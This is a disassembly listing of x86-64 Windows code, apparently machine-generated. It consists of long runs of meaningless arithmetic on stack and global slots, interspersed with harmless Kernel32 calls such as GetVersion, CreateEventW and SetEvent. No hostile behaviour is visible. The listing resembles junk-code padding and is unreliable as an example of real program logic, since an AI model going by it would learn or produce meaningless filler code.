mov qword [rcx], rax
mov rax, qword [rsp + 0x57d0]
mov rcx, qword [0x14018c248]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6440]
mov qword [rcx], rax
mov rax, qword [rsp + 0x70c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3f78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2e68], rax
mov rax, qword [rsp + 0x85b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7778]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7290], rax
movzx eax, word [0x14018c19c]
mov rcx, qword [rsp + 0x8e58]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x79c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5408]
mov eax, dword [rax]
mov dword [rsp + 0x231c], eax
mov rax, qword [rsp + 0x6060]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ba]
add eax, ecx
mov rcx, qword [rsp + 0x48c0]
mov byte [rcx], al
mov rax, qword [0x14018ada0]
mov qword [rsp + 0x8f88], rax
movsx eax, byte [rsp + 0x1b0]
movsx ecx, byte [rsp + 0x1b1]
sar eax, cl
mov rcx, qword [rsp + 0x8180]
mov byte [rcx], al
movzx ecx, word [rsp + 0xc80]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xee8], ax
mov rax, qword [rsp + 0x5eb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2088]
sub ecx, eax
mov eax, ecx
mov dword [0x14018be78], eax
lea rax, [0x14018c600]
mov qword [rsp + 0x8f90], rax
mov rax, qword [rsp + 0x4348]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7d0]
and eax, ecx
mov rcx, qword [rsp + 0x6e28]
mov word [rcx], ax
movzx eax, word [rsp + 0xeec]
mov rcx, qword [rsp + 0x89c8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5db8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4fa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5700]
mov qword [rsp + 0x8f98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8f98]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x3960], rax
movsx eax, byte [rsp + 0x211]
mov rcx, qword [rsp + 0x42b0]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5550]
mov byte [rcx], al
lea rax, [0x14018be48]
mov qword [rsp + 0x8fa0], rax
mov rax, qword [rsp + 0x4898]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x80a8]
mov qword [rsp + 0x8fa8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8fa8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x22e4], eax
movsx eax, word [rsp + 0x798]
mov rcx, qword [rsp + 0x4d10]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd20], ax
lea rax, [rsp + 0xda8]
mov qword [0x14018ca90], rax
lea rax, [rsp + 0x50b0]
mov qword [rsp + 0x8fb0], rax
mov rax, qword [rsp + 0x5438]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x864]
sub eax, ecx
mov rcx, qword [rsp + 0x4470]
mov word [rcx], ax
lea rax, [rsp + 0x21c]
mov qword [rsp + 0x8fb8], rax
mov rax, qword [rsp + 0x4a00]
mov rcx, qword [rsp + 0x4c40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x75e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5f08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2d60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x79a0], rax
lea rax, [0x14018c968]
mov qword [rsp + 0x8fc0], rax
movsx eax, byte [rsp + 0x1b8]
mov rcx, qword [rsp + 0x44b8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4ba8]
mov byte [rcx], al
lea rax, [rsp + 0x3b8]
mov qword [rsp + 0x8fc8], rax
movzx eax, word [rsp + 0x3c0]
mov rcx, qword [0x14018c6d0]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14018ae68], ax
mov rax, qword [rsp + 0x5ac0]
mov rcx, qword [rsp + 0x8130]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2ad0], rax
lea rax, [rsp + 0x36c8]
mov qword [rsp + 0x8fd0], rax
movsx eax, word [rsp + 0xffc]
mov rcx, qword [rsp + 0x81e8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7ef0]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2298], eax
movzx eax, word [rsp + 0xf70]
mov rcx, qword [rsp + 0x57e0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xcc8], ax
lea rax, [rsp + 0x34f0]
mov qword [rsp + 0x8fd8], rax
mov rax, qword [0x14018c2f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1afc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5f98]
mov dword [rcx], eax
lea rax, [rsp + 0x1cf]
mov qword [rsp + 0x8fe0], rax
mov rax, qword [rsp + 0x6528]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4350]
shl rax, cl
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
movsx eax, word [0x14018ae50]
movsx ecx, word [rsp + 0xffc]
add eax, ecx
mov rcx, qword [0x14018c360]
mov word [rcx], ax
movzx eax, word [rsp + 0x390]
mov rcx, qword [rsp + 0x6688]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8f70]
mov word [rcx], ax
mov eax, dword [rsp + 0x1cb8]
mov dword [rsp + 0x2320], eax
movzx eax, byte [rsp + 0x15b]
movzx ecx, byte [rsp + 0x21d]
imul eax, ecx
mov rcx, qword [rsp + 0x48c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8728]
mov rcx, qword [rsp + 0x39a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2ec8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x8fe8], rax
mov rax, qword [rsp + 0x51c0]
mov rcx, qword [rsp + 0x3fc0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x68c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6e98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x92]
and eax, ecx
mov byte [rsp + 0xd2], al
lea rax, [rsp + 0x1b34]
mov qword [rsp + 0x8ff0], rax
mov rax, qword [rsp + 0x7210]
movsx eax, word [rax]
movsx ecx, word [0x14018c074]
sub eax, ecx
mov word [rsp + 0xecc], ax
mov rax, qword [rsp + 0x66b0]
movzx eax, word [rax]
mov word [0x14018ca98], ax
mov rax, qword [rsp + 0x49a0]
mov rax, qword [rax]
mov qword [rsp + 0x8ff8], rax
mov rax, qword [rsp + 0x6650]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ab8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4a30]
mov word [rcx], ax
movsx eax, word [rsp + 0x81c]
mov rcx, qword [rsp + 0x4fc0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4d10]
mov word [rcx], ax
lea rax, [rsp + 0x8dc0]
mov qword [rsp + 0x9000], rax
mov rax, qword [0x14018ada0]
mov rcx, qword [rsp + 0x65b0]
mov qword [rsp + 0x9008], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9008]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x5518]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xea]
movsx ecx, byte [rsp + 0x74]
shl eax, cl
mov byte [rsp + 0xc2], al
mov eax, dword [rsp + 0x1dd4]
mov ecx, dword [rsp + 0x1b5c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5b98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e00]
movzx eax, word [rax]
mov word [rsp + 0x102c], ax
mov rax, qword [rsp + 0x4e28]
mov rcx, qword [rsp + 0x6628]
mov rax, qword [rax]
or rax, rcx
mov qword [0x14018c018], rax
mov rax, qword [rsp + 0x48c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6318]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3e90]
mov byte [rcx], al
mov eax, 0x38
imul rax, rax, 1
lea rcx, [rsp + 0x162d0]
add rcx, rax
mov rax, rcx
add rax, 8
lea rcx, section..data
mov qword [rax], rcx
mov rax, qword [rsp + 0x7870]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x21e4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8bc8]
mov dword [rcx], eax
lea rax, [rsp + 0x380]
mov qword [rsp + 0x9010], rax
mov rax, qword [rsp + 0x6da8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4850]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x62b0]
mov word [rcx], ax
lea rax, [rsp + 0xed]
mov qword [rsp + 0x9018], rax
mov rax, qword [rsp + 0x7f10]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4ff8]
mov qword [rsp + 0x9020], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9020]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x3b80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6c50]
mov rcx, qword [rsp + 0x6220]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3bc0]
mov qword [rcx], rax
movzx eax, word [rsp + 0xe48]
mov word [rsp + 0x1030], ax
lea rax, [rsp + 0xa44]
mov qword [0x14018caa0], rax
mov rax, qword [rsp + 0x38c8]
mov rcx, qword [rsp + 0x36e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3150], rax
lea rax, [rsp + 0x8dc0]
mov qword [rsp + 0x9028], rax
mov rax, qword [rsp + 0x6b60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5da0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3100], rax
movsx eax, word [rsp + 0xcac]
mov rcx, qword [rsp + 0x6568]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x64f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5890]
mov rcx, qword [0x14018ad68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3728], rax
mov rax, qword [rsp + 0x50f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x20f]
sar eax, cl
mov rcx, qword [rsp + 0x46d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x8770]
mov eax, dword [rax]
mov dword [rsp + 0x2324], eax
mov rax, qword [rsp + 0x7c70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6f98]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5500]
mov byte [rcx], al
mov rax, qword [rsp + 0x7438]
mov ecx, dword [rsp + 0x20f4]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x7088]
mov dword [rcx], eax
mov rax, qword [0x14018bff0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5b50]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14018c6d8]
mov word [rcx], ax
movzx eax, word [rsp + 0xbfc]
movzx ecx, word [rsp + 0xe60]
sub eax, ecx
mov word [rsp + 0xad8], ax
movzx eax, word [rsp + 0x48c]
mov rcx, qword [0x14018c358]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4948]
mov word [rcx], ax
lea rax, [rsp + 0x5aa8]
mov qword [rsp + 0x9030], rax
mov rax, qword [rsp + 0x6488]
mov rcx, qword [rsp + 0x7038]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5560]
mov qword [rcx], rax
lea rax, [rsp + 0x20c4]
mov qword [rsp + 0x9038], rax
mov rax, qword [rsp + 0x69f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7b60]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9018]
mov byte [rcx], al
movsx eax, word [rsp + 0xd38]
movsx ecx, word [rsp + 0xdac]
sar eax, cl
mov word [rsp + 0xd3c], ax
lea rax, [rsp + 0xcfc]
mov qword [rsp + 0x9040], rax
mov rax, qword [rsp + 0x7390]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3288]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x14018c668]
mov qword [rcx], rax
movzx eax, word [rsp + 0xd1c]
mov rcx, qword [rsp + 0x6e90]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfd4], ax
mov rax, qword [rsp + 0x2b30]
mov qword [rsp + 0x9048], rax
mov rax, qword [rsp + 0x4b08]
mov rcx, qword [rsp + 0x6950]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7a10]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1fe4]
mov ecx, dword [rsp + 0x227c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5d60]
mov dword [rcx], eax
mov rax, qword [0x14018c628]
mov qword [rsp + 0x9050], rax
movzx eax, byte [rsp + 0x111]
mov rcx, qword [rsp + 0x6ea8]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x3e90]
mov byte [rcx], al
lea rax, [rsp + 0x20dc]
mov qword [rsp + 0x9058], rax
movsx eax, byte [rsp + 0x1b1]
movsx ecx, byte [0x14018bdc6]
sub eax, ecx
mov rcx, qword [rsp + 0x8aa0]
mov byte [rcx], al
movsx eax, word [rsp + 0x62c]
mov rcx, qword [rsp + 0x7108]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x14018ae6c], ax
mov rax, qword [rsp + 0x5660]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf60]
or eax, ecx
mov word [rsp + 0xf88], ax
lea rax, [0x14018c2d8]
mov qword [rsp + 0x9060], rax
mov rax, qword [rsp + 0x74c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5410]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xdc4], ax
lea rax, [rsp + 0x2b40]
mov qword [rsp + 0x9068], rax
mov r9d, 0x140e
xor r8d, r8d
lea rdx, [rsp + 0x8210]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x226c], eax
mov rax, qword [rsp + 0x4918]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5dd8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5198]
mov byte [rcx], al
lea rax, [rsp + 0x1bc8]
mov qword [rsp + 0x9070], rax
movsx eax, word [rsp + 0x4f8]
mov rcx, qword [rsp + 0x3f00]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5fe0]
mov word [rcx], ax
movzx eax, word [rsp + 0x91c]
movzx ecx, word [rsp + 0xe18]
sub eax, ecx
mov rcx, qword [rsp + 0x8ee0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ca8]
mov rax, qword [rax]
mov qword [0x14018caa8], rax
lea rax, [rsp + 0x4b08]
mov qword [rsp + 0x9078], rax
mov rax, qword [rsp + 0x6bb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x86e0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x58e0]
mov qword [rcx], rax
lea rax, [rsp + 0x3150]
mov qword [rsp + 0x9080], rax
movzx eax, word [rsp + 0xd08]
movzx ecx, word [rsp + 0x61c]
sar eax, cl
mov rcx, qword [rsp + 0x5d28]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a68]
mov ecx, dword [rsp + 0x22d8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x62d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5f90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x66f0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x9b], al
mov rax, qword [0x14018c310]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f30]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4480]
mov dword [rcx], eax
lea rax, [rsp + 0x38a0]
mov qword [rsp + 0x9088], rax
mov rax, qword [rsp + 0x5858]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1fc]
sub eax, ecx
mov byte [0x14018bdca], al
movsx eax, word [rsp + 0x554]
mov rcx, qword [0x14018c748]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x56a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5fe0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xff8]
or eax, ecx
mov rcx, qword [rsp + 0x5e18]
mov word [rcx], ax
lea rax, [rsp + 0x83c]
mov qword [rsp + 0x9090], rax
mov rax, qword [0x14018be30]
movzx ecx, al
mov rax, qword [rsp + 0x8df0]
shl rax, cl
mov qword [rsp + 0x2c78], rax
lea rax, [rsp + 0x4540]
mov qword [rsp + 0x9098], rax
mov rax, qword [rsp + 0x4a40]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x21d4]
shr eax, cl
mov rcx, qword [rsp + 0x8970]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x153]
movsx ecx, byte [rsp + 0x22b]
sub eax, ecx
mov rcx, qword [rsp + 0x8328]
mov byte [rcx], al
lea rax, [rsp + 0x768]
mov qword [rsp + 0x90a0], rax
mov rax, qword [rsp + 0x73a0]
movzx eax, word [rax]
mov word [0x14018cab0], ax
mov rax, qword [rsp + 0x8f20]
mov rcx, qword [rsp + 0x7650]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5230], rax
lea rax, [rsp + 0xc9c]
mov qword [rsp + 0x90a8], rax
mov rax, qword [rsp + 0x51a8]
mov rcx, qword [rsp + 0x7ab8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4ea0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x47e0]
movzx eax, byte [rax]
mov byte [rsp + 0x22d], al
movsx eax, byte [rsp + 0xc9]
movsx ecx, byte [rsp + 0x1e0]
and eax, ecx
mov rcx, qword [rsp + 0x8e48]
mov byte [rcx], al
mov eax, dword [rsp + 0x1d98]
mov ecx, dword [rsp + 0x1f90]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7e98]
mov dword [rcx], eax
lea rax, [rsp + 0x2fd8]
mov qword [rsp + 0x90b0], rax
mov rcx, qword [rsp + 0x4d70]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2274], eax
mov rax, qword [0x14018c040]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5118]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6d30]
mov word [rcx], ax
movzx eax, word [rsp + 0x3dc]
mov rcx, qword [rsp + 0x6050]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14018ad14], ax
mov rax, qword [0x14018be40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7fc8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a18], rax
mov rax, qword [rsp + 0x51d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3438]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x5668], rax
mov rax, qword [rsp + 0x7718]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x82d8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5670]
mov word [rcx], ax
lea rax, [rsp + 0x404]
mov qword [rsp + 0x90b8], rax
movsx eax, byte [rsp + 0xbd]
mov rcx, qword [rsp + 0x86d8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4050]
mov byte [rcx], al
lea rax, [rsp + 0x8478]
mov qword [rsp + 0x90c0], rax
mov rax, qword [rsp + 0x8fc0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x21c4]
shr eax, cl
mov rcx, qword [rsp + 0x5350]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4bb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4878]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2b30], rax
movsx eax, word [rsp + 0xd88]
movsx ecx, word [0x14018c420]
sub eax, ecx
mov word [0x14018ad44], ax
mov rax, qword [rsp + 0x6c40]
movzx eax, word [rax]
mov word [rsp + 0x1034], ax
mov rax, qword [rsp + 0x7e18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20f4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4548]
mov dword [rcx], eax
lea rax, [rsp + 0x1ec]
mov qword [rsp + 0x90c8], rax
mov rax, qword [rsp + 0x6760]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5bf8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4300]
mov qword [rcx], rax
lea rax, [rsp + 0x7f48]
mov qword [rsp + 0x90d0], rax
mov rax, qword [rsp + 0x6970]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c58]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8128]
mov dword [rcx], eax
mov rax, qword [0x14018c2b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5400]
mov byte [rcx], al
lea rax, [rsp + 0x554]
mov qword [rsp + 0x90d8], rax
lea rax, [rsp + 0xd90]
mov qword [0x14018cab8], rax
mov rax, qword [rsp + 0x5308]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5510]
mov qword [rsp + 0x90e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x90e0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x49a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5c60]
movzx eax, word [rax]
mov word [rsp + 0x1038], ax
movsx eax, word [rsp + 0xdac]
mov rcx, qword [rsp + 0x8618]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x970], ax
mov rax, qword [rsp + 0x2e30]
mov rcx, qword [rsp + 0x57f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x75d0], rax
lea rax, [rsp + 0x2084]
mov qword [rsp + 0x90e8], rax
movsx eax, byte [rsp + 0xc9]
mov rcx, qword [rsp + 0x82c8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5e00]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x90f0], rax
lea rax, [rsp + 0x38d0]
mov qword [rsp + 0x90f8], rax
movzx eax, word [rsp + 0xcb0]
mov rcx, qword [rsp + 0x9040]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x7b48]
mov word [rcx], ax
mov rax, qword [rsp + 0x7190]
mov rcx, qword [rsp + 0x33c8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [0x14018c790]
mov qword [rcx], rax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1db]
sub eax, ecx
mov rcx, qword [rsp + 0x4c88]
mov byte [rcx], al
lea rax, [rsp + 0x2270]
mov qword [rsp + 0x9100], rax
movsx eax, word [rsp + 0xff8]
movsx ecx, word [rsp + 0xeb0]
sar eax, cl
mov rcx, qword [rsp + 0x7288]
mov word [rcx], ax
lea rax, [rsp + 0xe5c]
mov qword [rsp + 0x9108], rax
mov rax, qword [rsp + 0x8a08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x209c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x83f0]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov rax, qword [rsp + 0x5c10]
movsx eax, byte [rax]
mov rcx, qword [0x14018bee0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4e60]
mov byte [rcx], al
lea rax, [rsp + 0x3918]
mov qword [rsp + 0x9110], rax
mov rax, qword [rsp + 0x66e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf6c]
and eax, ecx
mov rcx, qword [rsp + 0x81e8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x21b0], eax
lea rax, [rsp + 0x3d8]
mov qword [0x14018cac0], rax
lea rax, [rsp + 0x3228]
mov qword [rsp + 0x9118], rax
mov rax, qword [rsp + 0x5c50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f28]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6d50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2f40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2e18], rax
movsx eax, word [0x14018c074]
mov rcx, qword [rsp + 0x69d8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb58], ax
mov rax, qword [rsp + 0x54e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x147]
sar eax, cl
mov rcx, qword [rsp + 0x6e68]
mov byte [rcx], al
mov rax, qword [rsp + 0x9068]
mov rax, qword [rax]
mov qword [rsp + 0x9120], rax
mov rax, qword [rsp + 0x7380]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2118]
shl eax, cl
mov dword [rsp + 0x2208], eax
mov rax, qword [rsp + 0x7a38]
mov ecx, dword [rsp + 0x22e0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1d9c], eax
mov rax, qword [rsp + 0x6158]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ff]
xor eax, ecx
mov byte [rsp + 0x206], al
mov rax, qword [rsp + 0x6b28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4848]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14018ae54], ax
mov rax, qword [rsp + 0x72f0]
movzx eax, word [rax]
movzx ecx, word [0x14018ad20]
sub eax, ecx
mov rcx, qword [rsp + 0x7830]
mov word [rcx], ax
movzx eax, word [rsp + 0xf20]
mov word [rsp + 0x103c], ax
mov rcx, qword [rsp + 0x4d70]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x4550]
movzx ecx, al
mov rax, qword [rsp + 0x36e0]
sar rax, cl
mov rcx, qword [rsp + 0x4108]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6460]
movzx eax, byte [rax]
mov byte [rsp + 0x22e], al
mov rcx, qword [rsp + 0x6680]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2328], eax
mov rax, qword [0x14018bde0]
mov rcx, qword [rsp + 0x8f18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8e80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6c28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8298]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2eb8], rax
movsx eax, word [rsp + 0xf3c]
movsx ecx, word [rsp + 0x584]
and eax, ecx
mov word [rsp + 0xb20], ax
movzx eax, word [rsp + 0xcf8]
movzx ecx, word [rsp + 0xf9c]
and eax, ecx
mov rcx, qword [rsp + 0x89b0]
mov word [rcx], ax
lea rax, [rsp + 0x65a0]
mov qword [0x14018cac8], rax
lea rcx, [rsp + 0x15938]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [0x14018bec8]
mov word [rsp + 0x1040], ax
mov rax, qword [rsp + 0x6b60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x44d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2ee0], rax
mov rax, qword [rsp + 0x8a58]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x34f8]
sar rax, cl
mov rcx, qword [rsp + 0x6218]
mov qword [rcx], rax
mov rax, qword [0x14018c650]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x204]
or eax, ecx
mov byte [rsp + 0xba], al
mov rax, qword [rsp + 0x81a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2174]
shl eax, cl
mov rcx, qword [rsp + 0x67b0]
mov dword [rcx], eax
lea rax, [rsp + 0x1cc]
mov qword [rsp + 0x9128], rax
mov eax, dword [rsp + 0x2318]
mov ecx, dword [rsp + 0x2168]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4358]
mov dword [rcx], eax
lea rax, [rsp + 0x6168]
mov qword [rsp + 0x9130], rax
lea rax, [rsp + 0xf90]
mov qword [0x14018cad0], rax
movsx eax, word [rsp + 0x580]
mov rcx, qword [rsp + 0x7ec0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xca0], ax
movzx eax, word [rsp + 0xd60]
movzx ecx, word [rsp + 0xcb8]
sub eax, ecx
mov word [rsp + 0xdf8], ax
lea rax, [rsp + 0x102c]
mov qword [rsp + 0x9138], rax
